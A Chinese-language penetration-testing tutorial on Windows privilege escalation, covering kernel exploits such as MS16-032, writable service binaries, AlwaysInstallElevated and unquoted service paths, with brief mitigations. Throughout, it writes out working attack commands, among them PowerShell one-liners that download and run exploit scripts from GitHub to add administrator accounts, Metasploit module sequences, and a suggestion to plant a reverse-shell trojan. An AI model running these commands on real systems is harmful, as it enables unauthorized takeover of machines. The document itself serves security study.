权限提升分析及防御
在windows中,权限大概分为四种,分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触到的是前三种。第四种权限 TrustedInstaller ,在常规使用中通常不会涉及。
User:普通用户权限,是系统中最安全的权限(因为分配给改组的默认权限不允许成员修改操作系统的设置或用户资料)
Administrator:管理员权限。可以利用windows的机制将自己提升为System权限,以便操作SAM文件等。
System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System 权限也无法进行修改。只有拥有 TrustedInstaller 权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制,在windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。
windows操作系统中管理员账号的权限,以及Linux操作系统中root账户的权限,是操作系统的最高权限。提示权限(也称为提权)的方式分为以下两类。
- 纵向提权:低权限角色获得高权限角色的权限。例如:一个WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
- 横向提权:获取同级别角色的权限。例如。在系统A中获取了系统B的权限,这种提权就属于横向提权。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
0x00:from
--《内网安全攻防》
0x01:系统内核溢出漏洞提权分析及防范
溢出漏洞就像往杯子里装水--如果水太多,被子装不下了,就会溢出来。计算机中有个地方叫缓冲区。程序缓冲区的大小是事先设置好的,如果用户输入数据的大小超过了缓冲区的大小,程序就会溢出。
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁--即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性--如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方法提权,就必须找出目标系统中的0day漏洞。
1.通过手动执行命令发现缺失补丁
获取目标机器的shell之后,输入“whoami /groups”命令,查看当前权限
当前的权限是Mandatory Label\Medium Mandatory Level,说明这是一个标准用户。接下来,将权限从普通用户提升到管理员,也就是提升到 Mandatory Label\High Mandatory Level
执行如下命令,通过查询C:\windows\里面的补丁号(log文件)来了解目标机器上安装了哪些补丁。
可以看到,目标机器上只安装了两个补丁
也可以利用如下命令列出已经安装的补丁
Wmic qfe get Caption,Description,HotFixID,InstalledOn
和前面得到的结果相同,目标机器上只安装了两个补丁。
这些输出结果是不能被攻击者直接利用的。攻击者才去的利用方式通常是:寻找提权的EXP,将已安装的补丁编号与提权的EXP编号进行对比,例如KiTrap0D和KB979682、MS11-011和KB2393802、MS11-080和KB2592799、MS10-021和KB979683、MS11-080和KB2592799,然后使用没有编号的exp进行提权。
依托可以提示权限的EXP和它们的补丁编号,执行下列命令,对系统补丁包进行过滤。可以看到,已经安装了KB976902,但是没有安装KB
Wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB976902" /C:"KB3143141"
常见EXP参考:https://github.com/SecWiki/windows-kernel-exploits
“WMIC”是“Windows Management Instrumentation Command-line”的缩写。WMIC是Windows平台上最有用的命令行工具。使用WMIC,不仅可以管理本地计算机,还可以管理同一域内的所有计算机(需要一定权限),而且在被管理计算机上不必事先安装WMIC。
WMIC在信息收集和后渗透测试阶段是非常实用的,可以调取和查看目标机器的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装的补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
如果目标机器存在MS16-032(KB3139914)漏洞,那么攻击者不仅能够利用metasploit进行提权,还能利用powershell下的Invoke-MS16-032脚本进行提权。https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1 通过 Invoke-MS16-032.ps1脚本可以执行任意程序,且可以带参数执行(全程无弹窗),下面针对此问题进行测试。
把 Invoke-MS16-032.ps1脚本上传到目标机器中(也可以远程下载并运行),然后执行如下命令,添加一个用户名密码都为admin的用户。
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032
会弹出一个具有system权限的控制台,可以添加账号
net user 1 Admin@123 /add
可以添加一个账户(注意密码复杂度策略)
或者 Invoke-MS16-032 -Application cmd.exe -CommandLine "/c net user admin Admin@123 /add"(经过测试,提供连接的脚本可以执行如上命令,但是GitHub其他处下载的 Invoke-MS16-032.ps1 运行只会弹出一个具有system权限的cmd.exe)
此外,通过该脚本,可以添加和执行任意程序。执行如下命令,相当于启动“记事本”程序
Invoke-MS16-032 -Application notepad.exe
记事本也是静默启动,只会产生进程。
也可以远程下载、提权、添加用户。执行如下命令
powershell.exe -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 3 Admin@123 /add'"
可以添加了一个用户名为“3” 的用户。
MS16-032漏洞的补丁编号是KB3139914.如果发现系统中存在该漏洞,只要安装相应的补丁即可。也可以通过第三方工具下载补丁文件,然后进行安装。
1:利用metasploit发现缺失补丁
利用metasploit中的post/windows/gather/enum_patches模块,可以根据漏洞编号快速找出系统缺少的补丁(特别是拥有Metasploit模块的补丁)。其使用方法比较简单。
use post/windows/gather/enum_patches
set session 1
run
2:Windows Exploit Suggester
Gotham Digital Security发布了一个名为“Windows Exploit Suggester” 的工具,下载地址: https://github.com/AonCyberLabs/Windows-Exploit-Suggester 。该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其需要的只有目标系统的信息。
使用systeminfo命令获取当前系统的补丁安装情况,并将补丁信息导入patches.exe文件。
执行如下命令,从微软官网自动下载安全公告数据库,下载的文件会自动在当前目录下以excel电子表格的形式保存。
./windows-exploit-suggester.py --update
安装xlrd模块
pip install xlrd --upgrade
在实际的网络环境中,如果系统中存在漏洞,就有可能被攻击者利用。目标系统存在MS16-135、MS16-098等未修复的漏洞,攻击者只要利用这些漏洞,就能获取目标系统的system权限。
Metaspolit还内置了local_exploit_suggester模块。这个模块用于快速识别系统中可能被利用的漏洞,使用方法如下。
use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit
3:PowerShell中的Sherlock脚本
通过powershell中的Sherlock脚本: https://github.com/rasta-mouse/Sherlock
可以快速查找可能用于本地权限提升的漏洞。
在系统的shell环境中输入如下命令,调用Sherlock脚本
Import-Moudle C:\Sherlock.ps1
调用脚本都,可以搜索单个漏洞,也可以搜索所有未安装的补丁,这里搜索所有未安装的补丁。
Find-AllVulns
搜索单个漏洞
COBALT STRIKE3.6新增了elevate功能。直接使用cobal strike 的elevate功能,输入“getuid”命令查看权限,发现已经是管理员权限了。
0x02:Windows操作系统配置错误利用分析及防范
在windows操作系统中,攻击者通常会通过系统内核溢出漏洞来提权,蛋如果碰到无法通过系统内核溢出提取所在服务器权限的情况,就会利用系统中的配置错误来提权。windows操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。
对网络安全维护人员来说,对操作系统进行合理、正确的配置是重中之重。
1.系统服务权限配置错误
windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写的权限,就可以将该文件替换成任意可执行文件,并随系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹、文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。
系统服务权限配置错误(可写目录漏洞)有如下两种可能
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
- 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术尝试重启服务来提权。
1.powerUp下的实战利用
下面使用PowerShell中的PowerUp脚本: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 进行实验
PowerUp提供了一些本地提权方法,可以通过很多实用的脚本来寻找目标机器中的windows服务漏洞(也是PowerShell Empire和PowerSploit的一部分)
在渗透测试中,可以分别执行如下命令来运行该脚本
Powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object New.WebClient) .DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
将脚本复制到目标主机执行,对目标主机进行测试
Powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
以下由于无实验环境未能验证
可以看出,Powerup列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。第一部分通过Get-ServiceUnquoted模块检测出了有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务,路径包含空格且不带引号,但是都没有权限,所以并不能被我们利用来提权。第二部分通过Get-ServiceFilePermission模块检测出当前用户可以在“OmniServers”服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。
这里我们还是可以使用icacls来验证下PowerUp脚本检测是否正确,我们先来测试“C:\Program Files\Executable.exe”、“C:\Program Files\Common Files\microsoftshared\OmniServ.exe”、“C:\Program Files\Common Files\A Subfolder\OmniServer.exe”这三个文件夹,均提示权限不够。
再测试“C:\Program Files\Program Folder\ASubfolder\OmniServers.exe”文件
可以看到我们对OmniServers.exe文件是有完全控制权的,这里我们可以直接将OmniServers.exe替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreter。
在这里我们使用图11里AbuseFunction那里已经给出的具体操作方式,执行如下命令操作。
powershell -nop -exec bypass IEX (New-ObjectNet.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary-ServiceName 'OmniServers'-UserName pure -Password Password123!
Install-ServiceBinary模块,通过Write-ServiceBinary写一个C#的服务用来添加用户。
接下来停止并再启动该服务的时候,就会添加我们的用户。
2.Metasploit下的实战利用
在Metasploit中,对应的利用模块是service_permission。选择“AGGRESSIVE”选项,可以利用目标机器上每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作。
use exploit/windows/local/service_permissions
set session 3
run
如果满足漏洞条件,会返回一个新的会话(system权限)
service_permissions模块使用两种方法来获得System权限:如果meterpreter以管理员权限 运行,该模块会尝试并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
2.注册表键AlwayslnstallElevated
AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的MSI文件就可以进行管理员权限的提升。假设我们拿到目标主机的Meterpreter会话后并没能通过一些常规方式取得SYSTEM权限,那么AlwaysInstallElevated提权可以给我们带来另一条思路。
1.PathsAlwayslnstallElevated漏洞产生的原因
该漏洞产生的原因是用户开启了Windows Installer特权安装功能。
运行输入“gpedit.msc”打开组策略编辑器。
将计算机配置和用户配置的/windows组件/windows installer/永远以高特权进行安装:启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”
- H_C_U\software\policies\microsoft\windows\install\alwaysinstallElevated
- H_L_M\software\policies\microsoft\windows\install\alwaysinstallElevated
2.windows install的相关知识点
在分析AlwayslnstallElevated提权之前,简单介绍一下windows install的相关知识。
windows install是windows操作系统的组件之一,专门用来管理和配置软件服务。windows install除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原,通过回滚进行灾难恢复等。
windows install 分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的,windows install通过Msiexec.exe安装MSI文件包含的程序。MSI文件是windows install的数据包,它实际上是一个数据库,包含安装和卸载软件时所需要使用的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行MIcrosoft Update安装更新或安装一些软件的时候使用,占用内存较多。简单的说、双击MSI文件就会运行Msiexec.exe.
3.PowerUp下的实战利用
在这里,可以使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检查注册表是否被设置,如果 AlwaysInstallElevated 注册表键已经被设置,就意味着MSI文件是以System权限运行的,运行该模块的命令如下。“ture”表示已经设置
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated
当然也可以查看注册表
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
接下来添加账户,命令如下
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Write-UserAddMSI
然后,以普通用户权限运行UserAdd.msi,会弹出一个窗口,输入账户密码,就会添加一个管理员账户。
/quiet:在安装过程中禁止向用户发送消息
/qu:不使用GUI
/i:安装程序
也可以利用metasploit的exploit/windows/local/always_install_elevated模块完成上述操作。使用该模块并设置会话参数,run即可返回一个System权限的meterpreter。该模块会创建一个随机名称的MSI文件,并在提权后删除已部署的文件。
只要禁用注册表键AlwayslnstallElevated,就可以阻止攻击者通过MSI文件进行提权。
3.可信服务路径漏洞
可信服务路径(包括空格且没有引号的路径)漏洞利用了Windows文件路径解析的特性,并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
1.Trusted Service Paths漏洞产生的原因
因为windows服务通常都是由System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径“C:\Program Files\Some Fold\Service.exe”。对于该路径中的每一个空格,windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。在本例中,Windows会依次尝试确定和执行下列程序。
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
因此,如果一个被“适当”命名的可执行程序被上传到受影响的目录中,服务一旦重启,程序就会以System权限运行(非绝对)。
2.Metasploit下的实站利用
首先,检测目标机器中是否存在该漏洞。使用wmic查询命令,列出目标机器所有没有被引号引起来的服务的路径。
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
也可以使用msf的windows service trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后将受影响的服务重启。
- use exploit/windows/local/trusted_service_path
- set session 1
命令执行如果成功,会反弹一个meterpreter。再次查询权限,显示提权成功,需要注意的是,反弹的会话会很快中断,这是因为当一个进程在windows操作系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而结束这个进程。在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中(可以使用set AutoRunScript mingrate -f 命令自动迁移进程)
可信任服务路径漏洞是由开发者没有将文件路径用引号引起来导致的。将文件路径用引号引起来,就不会出现这种问题了。